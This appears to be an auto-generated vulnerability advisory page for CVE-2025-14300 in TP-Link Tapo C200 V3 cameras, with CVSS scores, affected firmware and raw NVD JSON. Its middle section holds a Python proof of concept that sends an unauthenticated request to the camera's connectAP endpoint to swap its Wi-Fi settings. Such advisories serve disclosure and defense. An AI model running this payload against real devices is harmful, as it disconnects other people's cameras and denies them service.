Security Vulnerability Report
中文
CVE-2025-14300 CVSS 8.1 HIGH

CVE-2025-14300

Published: 2025-12-20 01:16:03
Last Modified: 2026-04-03 22:16:25
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

The HTTPS service on Tapo C200 V3 exposes a connectAP interface without proper authentication. An unauthenticated attacker on the same local network segment can exploit this to modify the device’s Wi-Fi configuration, resulting in loss of connectivity and denial-of-service (DoS).

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.3:build_230228:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.4:build_230424:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.5:build_230717:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.7:build_230920:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.9:build_231019:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:tapo_c200:3:*:*:*:*:*:*:* - NOT VULNERABLE
TP-Link Tapo C200 V3 (固件版本 < 最新修复版本)
TP-Link Tapo C100 V5 (固件版本 < 最新修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14300 PoC - Tapo C200 V3 Unauthenticated WiFi Config Modification # Target: TP-Link Tapo C200 V3 device on local network target_ip = "192.168.1.100" # Replace with actual device IP target_port = 443 # Malicious WiFi configuration malicious_wifi = { "ssid": "EvilNetwork", "password": " attacker-controlled-password" } # Construct the exploit request to connectAP endpoint url = f"https://{target_ip}:{target_port}/app/connectAP" headers = { "Content-Type": "application/json", "User-Agent": "TapoCamera/1.0" } # Send unauthenticated request to modify WiFi configuration try: response = requests.post(url, json=malicious_wifi, headers=headers, verify=False, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] WiFi configuration modified successfully - Device DoS achieved") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
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An unauthenticated attacker on the same local network segment can exploit this to modify the device’s Wi-Fi configuration, resulting in loss of connectivity and denial-of-service (DoS)."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.3:build_230228:*:*:*:*:*:*", "matchCriteriaId": "CABD8DE6-9904-499D-919F-9DBD42BE6762"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.4:build_230424:*:*:*:*:*:*", "matchCriteriaId": "254031B5-7CC7-4B9D-970B-FAA6EBC3EAFD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.5:build_230717:*:*:*:*:*:*", "matchCriteriaId": "9D61B481-8262-44D4-9A1D-9967AB1805DC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.7:build_230920:*:*:*:*:*:*", "matchCriteriaId": "50D2F368-F8C8-41E1-9360-8CDF9F89E566"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.9:build_231019:*:*:*:*:*:*", "matchCriteriaId": "EF80958C-4274-4DEA-9730-176E3E6F21F2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.11:build_231115:*:*:*:*:*:*", "matchCriteriaId": "7AA1B7FA-D418-46B2-A530-BF67E550E38F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.13:build_240327:*:*:*:*:*:*", "matchCriteriaId": "DC4382B5-C7EC-4B98-AF28-8D08D0771133"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.14:build_240513:*:*:*:*:*:*", "matchCriteriaId": "1FCE1F5E-E84B-4CF4-B8A4-7A3448A0D127"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.3.15:build_240715:*:*:*:*:*:*", "matchCriteriaId": "C05AC5C2-5BB7-499A-AE2B-414103317D47"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.4.1:build_241212:*:*:*:*:*:*", "matchCriteriaId": "C1ED28D6-9441-440A-81D8-EB539D50BB56"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.4.2:build_250313:*:*:*:*:*:*", "matchCriteriaId": "51E28752-8B46-48CD-86B5-437449AED7C0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c200_firmware:1.4.4:build_250922:*:*:*:*:*:*", "matchCriteriaId": "ECBC265E-2AA6-471E-A7BE-8F35DDA28645"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tapo_c200:3:*:*:*:*:*:*:*", "matchCriteriaId": "101FA54E-1A3D-4A38-BBD0-8DAFAC414E ... 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